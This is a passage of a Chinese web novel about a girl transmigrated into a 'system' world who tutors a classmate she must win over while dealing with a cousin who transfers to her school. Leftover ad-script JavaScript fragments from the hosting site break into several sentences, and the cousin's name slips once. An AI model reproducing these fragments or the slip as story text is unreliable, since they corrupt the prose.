9班便是她俩之前所在的班级，也就是易川与王朗现在在的班级。这学期，她与凌熙都进了重点班10班——林康与贺琛所在的班级。 叶舒没有过多惊讶，只是淡淡地重复着念叨：“9班？” 凌熙：“对，她们说可帅了，是个小网红，还有粉丝呢。” “真的假的。”叶舒鄙夷地笑了一声，凌熙也没在意，毕竟叶舒对这些总是漠不关心。 似乎她眼里只有学习。 还有，和易川有关的事。 “你别看书了。最近又没考试，你还那么努力，为下一次第一做准备啊？”凌熙强制性挡住她看书的目光，迫使叶舒关上书。 叶舒故作可怜：“我不像你那么聪明，不怎么学都能考那么好，只能多花时间了呗。” 叶舒这句话不是自谦。 至少在众人看得见的地方，凌熙从不多用功，无论知识点难易，她总是能很快掌握，平日也没多将学习多放在心上，只在考前会看会儿习题，但仍稳稳地在年级中名列前茅。 简直是学习圣体。 “而且，我在看小说，没学习。”叶舒无奈笑着将书本封面给她看——《重生回校园的那些年》。 她回复凌熙关于转校生的事：“反正就在隔壁班，总会看见的。” 凌熙好奇地念叨着：“好奇怪，高中也能转学吗？我一直以为只能通过中考考上来。” 叶舒默默放下书，回应她：“大概是借读吧。” 凌熙咂舌：“啊？听说借读生要给钱的，借读费可贵了。” 叶舒弯了弯唇，不置可否。 ...... 晨会结束后，各班队伍陆陆续续返回教学楼。 叶舒起身，撞上林康的视线。 不屑，冰冷。 叶舒也不惧，坦然地与他对视。 没想到过了一年，林康的心性还是没成长。 有的时候，叶舒真的不明白，林康为何总是莫名其妙与自己作对。 其实以他的成绩大可以不必在意这排位高低，叶舒记得他最后考的院校也是国内最好的财经大学，听说还保研了。 现在的成绩不过都是过眼云烟，他大可不必与她在高中弄得这么不愉快。 现在是，原世界他也是。 只可惜，他现在大概是想不明白的。 另一边。 “这叶舒什么来头啊？不是重点班的，还直接拿了第一。” 队伍里几名男生小声念叨着。 “她上学期就是第一，也上去演讲了，你不知道啊？” “啊？那她怎么不在我们班啊？” “不知道，好像当时系统出错了，把她弄去隔壁班了。” “......” 重点班的人对这叶舒难免好奇，她与易川走得很近，上学期的事闹得沸沸扬扬的，本以为叶舒是早恋的“花瓶”，却蝉联了两个学期的年级第一，将重点班的人通通比了下去，也不知道怎么学习的。 一男生在林康耳边偷偷问：“林康，听说你以前和叶舒还有易川一个班的，你知道他俩啥关系吗？” 林康眉毛一皱，皮笑肉不笑地问：“怎么？你对她有意思？这么八卦” 男生耳朵一红，慌忙摆手道：“神经！我只是好奇地问一问！” “我不熟。”林康冷冷地吐出三个字便扬长而去。 - 放学铃响后，学生们陆续离开教学楼，各自散去。 初秋，薄阳落在摇晃的树枝上，在青色路面拓下深深浅浅的叶影。 叶舒拿了两本今日的作业便出门，听到过路的同学用期待雀跃的语调聊着即将到来的长假。 她在心里细细想来，自己穿越到系统世界，已然有一年了。 那日穿越前，似乎也是这样的天气。 暑假的时候，她也像寒假那般，尝试约易川出去，借以“增进感情”。 不过大抵是她上学期说自己“曾有喜欢的人”这话“伤”了他，他一开始并不愿，还是通过王朗，两人才再次见上面。 逐渐地，他大概自己想清楚了，也不再抗拒叶舒约他。 两人之间的关系似乎到达了一种最平衡的境界。 真希望能一直保持下去。 …… “叶舒。” 一道男声喊住她。 叶舒从思索间回神，回身一望，发现贺琛站在自己身后。 这段时间，叶舒社团所在活动和学生会经常有合作，她与贺琛来往愈发紧密，二人也逐渐熟识。 “怎么了？” 叶舒以为他又是与自己讨论活动的事。 贺琛将一物递给叶舒，她接过，发现竟是自己的校卡。 她惊讶：“怎么在你这？” 贺琛温柔一笑，“你落在三花旁边了，我刚好捡到了。” 叶舒这才想起，昨晚自己前去看猫，估摸着是当时掉了。 “谢谢。”她将校卡收至口袋，“你又去看猫了啊？” “是，你不也去看了吗？”贺琛别有深意地看着她，意有所指。 叶舒敛眸，微笑含糊道：“偶尔遇见了就看看。没事的话我先去吃饭了。” 见叶舒离去，贺琛再次叫住她：“叶舒。” 他上前：“我有个问题想问你。” 叶舒：“什么？” 贺琛：“你是不是对我有什么意见？” 叶舒愣住，很快反应过来后，故作惊讶：“为什么这么说？” 贺琛：“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我们第一次见，应该是上个学期的一个晚上吧。就在那，你看见了我在逗猫。” 他指着原先两人第一次见面那块草丛小径的方向：“那时候你大概没有想到有人，所以一下就走了。后来几次，我也能看见小猫旁有火腿肠，也看见过你去喂它。那时我觉得毕竟是陌生人，你躲着我也是正常。可现在我们是一个班了，而且也算是朋友了吧，但我感觉你还是在躲着我，就像昨晚，你听到了我的声音，就立刻跑了。” 贺琛语气有些急切，秀气的眉有些紧张地皱着，似乎是以为自己哪里惹恼了叶舒，急需知道缘由的正经小孩。 叶舒错开眼，斟酌着应当回什么话语。 贺琛想得倒是没错，叶舒确实有意不想与他过多亲近，倒不是对贺琛有什么意见。 她很敬佩贺琛，也非常珍惜与他之间的友谊，只是她不想两人之间的关系重蹈覆辙，所以对贺琛的边界感分得较清。 一个易川便够费心费神，她无力再去解决其他男女之间的关系。 没有结果的事不如就别开始，对她，对贺琛都好。 叶舒歉意地冲他笑了笑，解释说：“不好意思，不过我性格本就比较内向，所以下意识躲着你。不过我对你并没有什么意见，只是我个性使然。” 贺琛这才舒了口气，眉眼间的紧张也缓和了不少：“那就好，我还怕是我做错什么。那......若是你之后还去喂猫，可以叫我一起去。” 叶舒微怔，本想先随便找个理由回绝他，但见贺琛善意期待的面孔，一时心软，还是微笑点头应允了。 大不了届时再拒绝，或者拉着凌熙一起。 总之，不能和他独处。 与贺琛道别后，她独自前往食堂，行至食堂门口，还未进去，便被一双手挡住前路。 “叶舒，你能再慢点吗？” 叶舒只顾着前进，没注意两侧，经这一截堵，这才注意到旁边的人。 一张熟悉帅气的面孔映入瞳内，浓眉大眼，琥珀色的眼眸澄澈，麦色皮肤，虽是一脸不耐的表情，却显得阳光恣意。 很讨人喜欢的长相。 只是不讨叶舒喜欢。 叶舒自认长相也不逊色，成绩更是没话说，但叶珩性格外向开朗，长相帅气阳光，还有张巧嘴，格外讨长辈们的欢心。 毕业工作后，即使叶舒职业是“铁饭碗”之一的教师，但在侃侃而谈的叶一铭面前，还是“黯然失色”。 所以，每至新年，叶舒都格外抗拒叶一铭来自己家做客。 想到这，叶舒表情管理也懒得做，不耐烦地拿出自己的校卡递给他：“才转学过来不久，校卡还没捂热多久就搞丢了，您能再不靠谱点吗？” 叶珩是叶舒父辈那脉的亲戚，年龄上，叶舒虽比叶珩小，但辈分上看，叶舒地位高于叶珩，真计较起来，他得称叶舒一声姑姑。 两人算是从小一块长大，从幼儿园开始便都一个学校，不过叶珩学习成绩不如叶舒，没和叶舒考上一个高中。 原世界，叶珩的父母那时确实想要叶珩转到市里最好的静海高中，只是最终还是不了了之。那时叶舒毕竟还是孩子，个中缘由她也不清楚。 而现在，不知是她与原先世界所作所为不同所导致的连锁效应，是还是系统世界的安排，总之叶珩转到了静海高中，与她成为了同学。 还和易川一个班。 叶舒怀疑是系统故意的...... 45. 答应 叶舒帮叶珩买完单后，拿过校卡便要离开。 “诶你去哪？”叶珩放下饭盘，“你不吃啊？” “……” 叶舒今日确实不打算吃晚饭，只是以叶珩的个性，定会向她母亲告状。 叶珩看她犹豫心虚的表情，眼里闪过一丝狡黠：“噢~你不吃晚饭是吧，难怪这次见你你瘦了那么多，我要告诉你妈——” “我吃！” 叶舒无奈，只能顺着他的意思应下。 叶珩歪头盯着她的脸质问道：“你不会是把晚饭时间拿去学习了吧？” 以叶珩对她的了解，她完全干得出来这事。 比起他年初见到的叶舒，她瘦了许多，宽松的校服下身形纤细瘦削。虽然五官变得更为精致，但反倒没了美意，只叫人怜惜。 叶舒被戳破真相，偏头避开他责问的目光：“我只是不想和你一起吃而已。” “你最好是。”他不屑道。 二人面对面坐着。 即使是吃着饭也堵不住叶珩的嘴，嘴巴停不住一直在输出：“没想到你在这混得这么好，还是年级第一，我们班的人都认识你。” 叶舒从容地喝了一口汤，开口解释：“是因为我之前是9班的，他们自然认识我。” 叶珩：“噢，这么巧，怪不得——” 叶舒：“你吃饭时能别说话吗。” 叶珩：“......” 饭后，叶珩犹嫌不够，嚷着要去小卖部买东西。叶舒赶时间，便将校卡交给他，让他晚自习再还给她，自己则先行离开。 - 叶舒赶到图书馆时，发现易川已经到了，坐在长桌的角落，还给她占了对面的位置。 他应该是刚洗完澡没多久，身上还带着湿气，发梢半干，耷拉在两侧。 他安静地半靠在椅背上，定睛看着手里的一张试卷，大概是题目稍难，他眉毛微敛，看着试卷半天没有动作。 从叶舒这方向望去，他眉骨、鼻梁与下颚连成一道漂亮的侧脸线条，叶舒看着看着，渐渐弯了弯唇角。 曾经哪想过能与易川像如今这般亲近，甚至还约定好一起坐下来学习，更别说还能看见他这副认真好学生的模样。 她压下步子，缓缓走近。 易川很快注意到了她，放下卷子，说：“稀奇，你今天竟然比我慢。” “不好意思，我去吃了个晚饭。” 易川动作一滞，抬眼，“你竟然吃晚饭了？” 叶舒经常不吃晚饭就到图书馆学习，人也消瘦了不少，大多数时候都是易川与她学习后，易川去吃晚饭时顺带逼着她去吃。 叶舒难得自己主动吃晚饭，易川觉得稀罕是自然的，只是叶舒觉得他语气很平淡，脸上也并无惊讶之色，反而有诘问之意。 叶舒想起当时叶珩逼迫的情况，无奈解释道：“嗯......只能说是意外吧，所以今天我迟来了。对了，我想问你上学期期末考考怎么样？” 提及成绩，易川又变回玩世不恭的态度：“还行吧。” 他说得毫不在意，只是叶舒却注意到他眼角眉梢似乎带着浅浅的得意。 叶舒放下手里的作业，身子前倾着问他：“还行就是很行咯，排名多少？” “那自然是不如你，有什么好说的。”易川漫不经心道。 叶舒觉得好笑，托腮笑盈盈地看着他说：“那你要这样说，比我排名低的都不能说了？成绩又不是拿来比较的，最多也只是和自己比较。” 易川眉心微动，不知是被她说烦的还是看烦的，僵硬地从嘴里吐出两字：“没看。” 片刻后又补充道：“三十名左右吧，就记得刚好和王朗差一个名次。” 一个班近五十名学生，王朗在班级是中下游，以易川以前的成绩，靠近王朗都难。现在高二他便能和王朗一个水平，简直奇迹。 “真的？” 叶舒一时控制不住欣喜，声调都变高了，想到这是图书馆便立刻捂嘴。 易川被她夸张的反应吓到，没想到她竟会如此惊喜：“不相信我？” 她连忙摇头：“没有，就是替你开心。” 她抑制不住欣喜，一时间忘了形象，弯着眉眼看着易川。 一向嫌弃的易川如今在她眼里，也镀了层柔和的光。 她仿佛看见成功回家的曙光就在不远处等着她。 易川被她这莫名其妙的痴样弄得不适，清了清嗓子，拿起今天的数学卷子支支吾吾地道：“咳，不用了，你看看这道数列题，我做不出。” 虽说叶舒进了重点班，但两人班级相邻，任课老师重合度高，教学进度与作业也十分一致，所以即使两人不在一个班，但在帮助易川学习上并无多大阻碍。 叶舒心情愉悦，语气较平时温柔了好几度，像带自己学生那般一步步讲解：“其实这些数列题都是在基础上变复杂而已，万变不离其宗。就比如这道，设这个数列为an......” 听者易川眉毛紧皱，似懂非懂。 叶舒现下心情好，一改往日嫌弃的态度，也不催他，静静看着他，给他足够的时间自己琢磨。 易川看着题目思考，目光几度扫向叶舒，最后实在忍无可忍： “叶舒。” “嗯？” 易川：“能不能别用那恶心的表情看着我。” 叶舒：“......” 这人就是贱，对他好还不成，就是找骂。 叶舒咬牙微笑，点了点头，低头写自己的作业。 刚提起笔，熟悉的声音由不远处传来。 “叶舒。” 叶舒写字的手一抖，心中警铃大响。 这声音，不是吧...... 叶舒僵硬侧头。 视野里出现了那张最不想看见的脸。 叶珩。 叶舒心提到嗓子眼，手堪堪捂脸，掩耳盗铃般闭上眼，恨不得马上消失在这个世界。 一阵脚步声靠近，叶珩又喊了声她的名字：“叶舒。” 她这才认命般放下手，勉强维持镇定地应了他一声嗯。 叶珩不是傻子，甚至很聪明，他定能看出两人的关系不一般。 叶舒倒不是怕他会向家长告状，只是总觉得给人抓到了“小辫子”，难免窘迫。 她做好准备直面叶珩，却见叶珩神色自若，平静到有些诡异。 奇怪？ 叶珩的目光移向另一侧的易川，叫了声他的名字：“易川。” 易川闻声，朝他颔首，算是打招呼。 叶珩：“你俩在这学习啊？” “嗯。” 易川没延续话题的意思，叶珩识趣地没再说话，从兜里掏出叶舒的校卡，转而与叶舒对话：“你的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 校卡。” 叶舒接过校卡，问道：“你怎么知道我在图书馆？” 叶珩：“我去你们班没看到你，你之前说你一般在图书馆学习，就来碰碰运气。” 叶舒：“其实你可以直接放我桌上的。” 叶珩耸耸肩，无奈道：“我看你们班那几个人都在学习，不敢打扰。” 他夸张的表情成功逗笑了叶舒。 他余光扫了眼易川，随后拍了拍叶舒的肩膀：“你慢慢学吧，晚上等我。” 叶舒：“啊？” 叶珩指了指她的校卡：“我要吃夜宵。” 意思是，又要她先垫钱。 不等叶舒回话，他便转头，独留一个匆匆离去的背影。 叶舒：“......” “你和他竟然是一起回宿舍的关系。” 易川打着草稿，漫不经心开口。 叶舒莫名有些心虚：“你和他认识？” 易川掀起眼皮，无语地看着她，像是在说“你在说什么屁话”。 “他是我们班新转来的，我当然认识。而且......”他垂下眼睫，看回试卷，纤长的睫毛挡住了他的眼眸，“他是我舍友。” 叶舒：“？？” 这下她真怀疑，这一切是系统刻意安排了。 易川眉毛一挑，“看来你们也没多熟。” 叶舒喃喃道：“本来也没多熟......” 易川：“而且，应该我问你吧，我们班的新生，你怎么认识？” 叶舒见易川眼眸微沉，眼神有些许探究之意，忙说：“你别误会我和他的关系啊，我们都姓叶，是不可能的。” 易川微怔，很快反应过来，有些质疑地问：“你们是兄妹？你不是独生女吗？” 叶舒解释：“我和他关系有点复杂，辈份上来说，我是她姑姑。只不过，我们年纪相仿，从小玩得也不错，不扯大人那些规矩。” “姑姑？” “对。” 易川愣了一会儿，随即掩唇笑了两声，对这奇特的关系觉得有趣：“难怪你和他会一起去吃饭。” 叶舒不免疑惑道：“你怎么知道？” 她脑中浮现刚刚与易川对话时他奇怪的状态。 敢情他是知道所以在阴阳她。 易川慢悠悠开口：“舍友说看见你们一起吃饭。” “他校卡丢了。”叶舒解释道，片刻，她忽然想到易川与叶珩是舍友，便立刻开口，“你和他是舍友，他可以找你啊。要不你先帮他度过这几天？你们一个宿舍又方便，他肯定会还你的。” 易川眉心微蹙，低下头看书，看都不看她：“我又和他不熟。” 叶舒想甩掉这家伙，也不想易川误会，便急着想将叶珩甩给他：“一个宿舍，总会熟悉的，他人很好说话的。” 易川放下笔，语气不快：“你在帮他说话？” 他性格本就不好说话，更是不喜欢多管闲事，又不是叶舒的事情，他自然不想帮。 叶舒默默抿唇，不再央求，颇为无奈，语气也低了几分：“好吧，还是让他找我吧。” “......”易川沉声半晌，鄙夷地斜了叶舒一眼，“行吧，我回去和他说。” 叶舒：“谢谢易大帅哥！” 易川：“......” 真是“有事钟无艳，无事夏迎春”。 46. 他以为 夜色空濛，无边的浓墨重重地涂抹在天际。 圆月悬挂高空，浓密的树影蜿蜒在暖黄色路灯里，路灯下，橙青地面上人影憧憧。 叶舒和叶珩一前一后前往食堂。 叶舒晚自习后一般都会在教室多呆一会儿，多学一段时间再独自回宿舍。今日因着叶珩，不得不提早离开，在班门口还引起了同班同学的侧目。 看来明天免不了要和同学解释下她与叶珩的关系。 叶舒：“因为你，刚刚他们看我的眼神都奇怪了起来。” 叶珩不以为然，甚至还颇为得意：“和你传‘绯闻’，我还不乐意呢。你明天去解释一通不就好了，而且我做人坦坦荡荡我怕什么？” 叶舒懒得与他贫嘴：“你和易川是舍友吧。” “对，咋了？” “我和他说了，你之后可以直接找他先帮你刷卡，你们一个宿舍也方便。” 叶珩欣然接受，只是意味深长地噢了一声，随后撞了一下叶舒的手臂：“你和他什么关系？” 叶舒猜到他会这么问，气定神闲开口：“朋友，之前是同桌。” 叶珩嘴角噙着揶揄的笑容，刨根问底：“你别装，我今天在图书馆没戳穿你，但你对他明显就和别人不一样。” “......”叶舒不说话，也不想回应。 叶珩还在她耳边聒噪：“我一直以为你是那种高冷的人，从没见你对哪个男的好，我还一直好奇什么样的人能入你的眼呢。没想到，你也会‘铁树开花’啊......该说不说，你审美还行......原来你是个颜控，我一直以为你不看脸，会喜欢那种和你一样的学霸类型......” “叶、珩！” 叶珩立刻噤声，今夜月光暗淡，昏暗夜色下，看不出叶舒是否生气。 不过，叶舒了解他，他就是爱打趣她的人，也不会因为这无稽之谈对他真生气。 若是真生气，叶珩反倒还真怀疑叶舒对易川是否真有意了。 叶舒懒得多费口舌。况且多说无益，不然叶珩还会误会她是在欲盖弥彰，所以她只是淡然地开口：“我和他不是你想的那种关系，就是朋友。” “现在是朋友，以后可不一定。”叶珩还是一贯的吊儿郎当，“总之，我的眼睛告诉我，你对他很不同。” 叶舒沉沉地叹了口气，浅浅暗示道：“他情况特殊，我对他当然不同。” “哪特殊啊？”叶珩被勾起了兴趣，好奇问道。 “总之，你爱信不信，反正你接着看就能知道我们到底什么关系了。”叶舒不想再与他在这话题上拉扯，提速快步离开，将叶珩远远甩在身后。 “诶，叶舒，别走那么快——生气了啊？我不说了——” - 次日早晨。 白云成片，似浪一般漫向天际。 叶珩睡眼惺忪地跟着易川和王朗抵达食堂，他选好餐食，易川自觉帮他刷卡。 见状，叶珩：“谢了！” 易川浅浅应了声，随后寻了个位置坐下。 三人坐下后，王朗便八卦道：“所以，你和叶舒真是姑侄关系啊？” 叶珩：“辈份上而已。” 王朗觉得稀奇，大笑：“你俩长得也不像，你不说我也没往那方面想。” “都不是一个爸妈当然不像。”叶珩笑着解释，随后反问两人，“你们都是叶舒同学吗？” 易川稍稍抬眼，没吭声，王朗便立刻回话：“是啊，我们之前一直一个班，而且关系一直都挺好。不过她成绩好，这学期到重点班了......” “噢，难怪。”叶珩弯了弯眼，目光望向易川，表情意味深长，“怪不得，昨天看见你和她在图书馆。” 易川吃饭的动作定住。 他没想到叶珩竟会当面暗喻，正想着怎么回答他，王朗便嚷起来，打断了他。 “你俩竟然一起去图书馆学习？！你竟然会去图书馆学习？！我说你怎么成绩进步那么多，都快赶上我了！” 易川：“......” 他本不想回应，奈何王朗穷追不舍，他搪塞道：“需要的话，你像之前那样去找她问问题呗。” “算了，我不打扰你俩，我可不当电灯泡。”王朗像找到倾诉对象一般告知叶珩，“我告诉你啊，他俩关系确实不一般，之前就一直是同桌——” 易川筷子敲了敲餐盘，制止王朗的话头：“是你心思龌龊爱起哄。” 王朗调侃道：“但是你俩要是真有一腿，我也不介意啊~” 易川：“……” 对王朗这种没有“原则”的人，易川也毫无办法，默默白眼，扒拉着餐盘里最后的一点饭，片刻后，他说：“她有喜欢的人。” 他语调低沉，听不出他的情绪。 王朗&叶珩：“她有喜欢的人？谁？” 别说王朗惊讶，叶珩也觉得不可思议。 “有过喜欢的人。” 易川改口，随后端起餐盘前往放餐盘处。 另外两人也端起餐盘追上询问他。 对于王朗的追问，易川以“一问三不知”的态度糊弄过去。 - 王朗前去便利店买东西，易川和叶珩在店外面等他。 叶珩看着半倚靠着墙站着的易川，他身量高，长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身长腿，即使弯着腰也比过路的众人高出大半个头。 他初到宿舍时，见到易川其实并无好感。 相比于其他男生的热情大方，易川只是板着脸默默向他颔首，样貌虽出众，却莫名带着股戾气。 若不是叶舒，他和易川大抵不会那么快熟络。 虽然现在也不算熟络。 易川如今默默垂着眸站在那，戾气散了许多，反倒显得静穆。 片刻，易川抬眸，对上叶珩的目光。 叶珩眨了眨眼睛，冲他礼貌地笑了笑。 只见易川朝他走近几步，叶珩还在想他要做什么，便听见易川说：“刚刚早饭说的话，你别和叶舒说。” 叶珩：“你说的是‘她喜欢过的人’这事？” “对。” “你是怕她生气吧，她应该没那么小气”。叶珩微微一笑，“说起来，这事我都不知道，毕竟我和她从小到大都是一个学校，放学都一起回家的，没见过她和哪个男的走得近，也没听过她朋友调侃过她喜欢过谁。” 易川沉默着，没有应声。 叶珩继而开口：“说起来，我小时候问这种事，她也没说过喜欢谁，只说她喜欢成绩好的。” 叶珩说完这话，易川神色间无甚波澜，只是淡淡地配合地问了句：“噢，是吗。” “但这样想也不可能啊，她小时候说过，她恨死班上那些成绩比她好的学霸了，和她较量不说，还傲慢得很。”叶珩回想起小时候逞强的叶舒便觉有趣。 易川没吭声，若有所思。 “她好胜心那么强啊。”王朗不知何时从便利店出来了，站在他们身边惊讶道。 王朗：“怪不得她那么努力学习，原来是拿了年级第一后就不想下来了。” 叶珩：“是啊，她妈妈从小就重视她学习，她已经完全被影响了。我记得，高一寒假那会儿，我们家去她家走亲戚。她说她成绩不稳定，还去图书馆学习，晚饭前才回来。我妈还夸她叫我向她学习，我那时真觉得她学魔怔了......” 闻言，易川晃了神。 寒假那会儿。 似乎是她经常约自己去图书馆那段时间。 看来她真的很爱学习。 肩膀一沉，易川回神。 原来是叶珩的手搭上了他的肩。 “你放心，我不会告诉她的。”叶珩仗义执言，大概以为易川还在担心他“走漏风声”的事。 随后，叶珩勾了勾唇，笑容耐人寻味：“不过，我还是觉得她以前没喜欢过人，莫名感觉像在说谎哈哈。” 这句话，也不知是随口一说，还是故意说予易川听。 47. 考试 虽说叶珩是突如其来的变数，但他的出现倒也没多影响叶舒的生活和攻略，许多时候还助攻叶舒与易川。 叶舒愈发怀疑叶珩是系统世界刻意安置过来的助攻工具人。 先前叶舒虽在“喜欢过人”这事上扯了慌，但似乎也没影响她与易川之间的关系，两人的关系甚至趋近于平常，就像正常友人那般，甚至近乎平淡。 她逐渐放下心来。 小男生的感情来得快去得也快，这样也好，她不必再纠结猜测易川时不时古怪的性情。 保持这样友人的状态是最好的，易川与她之前还轻松了许多。 虽说与一开始系统想要的情节大相径庭，但它也十分满意现在叶舒的攻略进度，毕竟易川的进步有目共睹，他早已不是她刚穿过来时的“吊车尾”。 不过，系统也曾问过她，若易川不再喜欢她，对她的感情从男女之情转为友谊之情她是否会失落。 失落？ 倒也不会。 毕竟，易川对她曾经连友人之情都没有吧。 所以，这个世界里，易川对她有一时的好感，她都觉得不可置信了，也未曾考虑过他的喜欢能存留多久。 她从未往那方面想过，她也不在乎。 她始终没忘那节课间易川给她的伤害。 - 静海高中教学楼中间的天井栽着几株槐树，环形围着一小片人工湖。课间，总能见到一楼的学生坐在湖边的石座旁谈天阔地。 今日期中考试，此时仍有不少学生围坐在湖泊旁，不约而同地看着手中的题纲小声念叨。 叶舒趴在栏杆上往下望，忽然回想起高一与陆雯期中考前趴在栏杆上一起复习的时候。 说起来，高二上学期的期中考时还没有这人工湖，这样想来，陆雯去集训竟已经半年。 过去与现在重叠，眼前的画面逐渐变为还未建设人工湖时的天井。 ...... 高二上学期的某天课间。 那时正值深秋，相比此时繁茂的绿叶，那时的树叶稀疏，叶落满地。 陆雯站在叶舒班门口，将先前借的笔记还给叶舒，“你的笔记好详细，不过，也不知道我这次期中考会考得怎么样。” “考完就不想这些了。”叶舒与她趴在栏杆边，如同两人高一那般。 陆雯看着楼下渐黄的数叶，叹息一声：“确实也不用想了。” “我要去集训了。” 一阵风过，掠过枝头的黄叶，吹动二人颊边的碎发。 闻言，叶舒微怔，脱口而出：“这么快……” 陆雯是播表艺术生，按照原世界的发展方向，她最后考上了很知名的传媒院校。这个时间，确实是她前往集训的时间。 叶舒不免想到已出国的江菱。 距离她休学已过去恰好半年之久，如今她与陆雯也要分别了。 虽说只是短暂的分离，但叶舒还是有些怅然。 人一旦投入在某件事上，便容易忘却时间。 每日无尽的学习让叶舒只知道今日是周几、该上什么课，却无暇顾及时间，直到现在她才有时间飞逝的实感。 注意到叶舒错愕的表情，陆雯笑着解释道：“也还好，一般都在这个时间。”她拍了拍叶舒的肩膀，“会有好长一段时间见不到你了，不舍得。而且，我都怕回来后文化课全忘光了。” 叶舒弯唇，继而拉住她的手，宽慰道：“没事，到时候你集训回来还是会复习的。你可以的，以你的综合实力，肯定可以考去你想去的学校。” 陆雯苦笑，只当叶舒是心善宽慰她：“借你吉言吧。” “不过，不用考试还是挺爽的。我最近压力巨大，睡也睡不好，脸上还长了好几颗痘。” 陆雯烦躁地嘟囔着，说着还伸手去摸额头上新冒出的痘。 叶舒忙拉下她的手，说：“哪呢？我看看。” 她凑近陆雯白皙秀丽的脸蛋，盯了好半会儿，才打趣着开口：“我还以为什么呢，就两颗要死要活的。两颗痘又不影响你的美貌，过几天不就下去了，你别乱摸。” “没摸。”陆雯吐了吐舌头，默默收回作乱的手。 叶舒想起什么，便多问了句：“你还在吃那个睡眠的药吗？” 陆雯叹了口气：“在吃啊，而且吃的频率比高一还高，上周末又去医院开了点。我觉得医生已经嫌我烦了，每次我去他就说‘又是你啊~’” 她虽是玩笑的语气，叶舒却放心不下。 毕竟陆雯年纪还小，长此以往对身体不好。 只是叶舒什么也做不了，只能认真地看着她说一句关切的话：“你也别给自己太大压力了。” 陆雯清秀的脸庞绽开笑颜，爽快应承她道：“好！” “你也要记得吃饭，不许不吃饭！” “行～” ...... 春和景明，晨间的阳光掉落在叶舒手中的书面上。 “叶舒，这次你有把握还拿第一吗？......叶舒？” 叶珩调侃的声音将她从回忆中拉回。 这次期中考试，她、易川和叶珩分到了一个考场。距离第一场语文考试开始还有半小时，几人站在考场门口背书。 虽然叶舒很不想承认，但易川和叶珩这两人聚在一块的画面格外养眼，不同类型的好看。 两人性格也截然不同，若把叶珩比作春天，阳光明媚，温暖所有人；那易川便是冬天，阴冷严峻，生人勿近。 不过，相比于她初次见他，易川变沉稳了许多，如今正低着头，安静地看着语文题纲。 叶舒扫了眼叶珩，随后继续眺望远处，脸上云淡风轻：“不知道，无所谓。” 叶舒本来也不在乎这名次，之前在易川面前表现的那么在乎也只是想做做样子，看看能不能借此激励他。 “啧啧，不愧是学霸，就是这么气定神闲。”叶珩故作夸张地咂舌道。 “你有这时间，不如多背几句古诗词吧。你看看人家易川。” 她颇为嫌弃地上下扫视了眼叶珩，随后走向易川。 “我背很久了，背到想吐，所以休息一下。”叶珩轻蔑一笑，随即辩解说，“再说，《琵琶行》、《离骚》那些我都会唱，背不出来我就唱。” 叶舒无语：“祝你别在考场突然唱出声来。” 易川依旧旁若无人地低头看书，只是嘴角微不可察地上扬了一点弧度。 ...... 语文考试开考1个小时后。 叶舒做完一篇阅读题，拿起试卷。 翻面时，压在试卷上的橡皮不慎甩出掉落在地。 叶舒看向掉落的方向，橡皮滚落至她另一列的座位下。 目光上移，座位旁恰好坐着的是易川。 叶舒一愣。 这么巧？ 叶舒时常会想，她与易川有些时候相遇的巧合像是系统世界安排的攻略者和攻略对象的吸引，为了攻略，她也并不抗拒，总归是有助于她的攻略。 可是这一次，能不能看看场合啊！ 系统：【我可没有，少冤枉我。不过就是个橡皮，我总不能连个小橡皮掉哪都去算计吧？】 系统说得也不无道理，毕竟若是连这么细节的事它都要安排，那也不需要攻略者了，大可以自己将所有人设、情节和故事都安排了。 而且，她这个系统十分拟人化，有自己的小脾气，也不必在这个方面撒谎。 想到这，她的狐疑打消了一半，只是心中没来由地有些心慌。 易川注意到了叶舒东西掉落的动静，俯身捡起桌角旁的那块橡皮，随后看向她。 “专注自己的，不要东张西望。”监考老师在讲台上若有所指地提醒道。 闻言，易川收回目光，朝她小幅度挥了挥手，示意她专注自身，继续做卷子。 叶舒自然明白事情的轻重缓急，不过只是个橡皮，反正语文科目的选择题少，不易涂错，无足轻重。 - 语文考完后，叶舒正收拾着书包，眼前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忽地出现一块橡皮。 是自己考场上掉落的那块。 叶舒抬头，面前站在单肩背着包的易川，嘴角还噙着揶揄的笑。 他将橡皮递还给她，并提醒道：“下场考试注意点，别又飞了。” 叶舒伸手接过，放回笔袋里：“谢谢。” “你这橡皮这么识时务，竟然刚好掉到易川那。”叶珩忍不住打趣道，“还好老师没深究。” 叶珩隔了一个位置，坐在叶舒的后面，两人的动静他看得一清二楚。 叶舒白了他一眼，回怼道：“你考试不仔细看题，东张西望干嘛，我觉得老师更像在说你。” 叶舒一旦对上叶珩，平日的理智便荡然无存，斗起嘴来就没停。 易川无奈弯唇，不等叶珩便先行离开。 - 自一场淅淅沥沥的春雨后，天气便开始暖和起来，学生们正洋溢在初夏的欢快氛围里，期中成绩便揭榜了。 课间，叶珩与叶舒绕着教学楼漫步，这样的场景时常能见到，熟悉他们的人早已知晓两人的关系，虽说一开始叶珩刚转来时有不少人议论，还有人调侃叶珩。不过随着时间过去，众人也就习以为常了。 叶珩：“我们班刚出成绩了，我这次退步了，易川都快逼上我了。” “你考前那么得瑟，我叫你‘临时抱佛脚’你还不屑一顾。”叶舒鄙夷道，随后问起易川的排名，“你说易川逼近你了，那他是多少名？” 叶珩：“我也不知道，我班级排名是十二，他左不过17、18名左右吧。不过他这次进步了特别多，是我们班进步最大的人，老师还表扬他了。” 叶舒没说话，只是欣慰地弯了弯唇。 叶珩继而问她：“你呢，你们班出成绩没？你还是年级第一吗？” 叶舒：“不是。” “哈？！”叶珩颇为震惊，甚至可惜道，“谁抢了你的年级第一！谁啊？” 他刻意夸张地大声嚷道，像是自己的第一没了一般愤慨。 叶舒哭笑不得，忙止住他嚷嚷的叫喊：“你那么大声干嘛，这排名本就起起伏伏的，而且第一又不是我的专属名次，有什么好激动的。” “成绩就是和自己比的，我又没退步，也没什么好可惜的。只能说有人比我更努力、学得更好，这也是事实。” “再说，我还拿了年级第二，还是比很多人的分数高，有什么可惜的。” 闻言，叶珩顿时不想安慰她了。 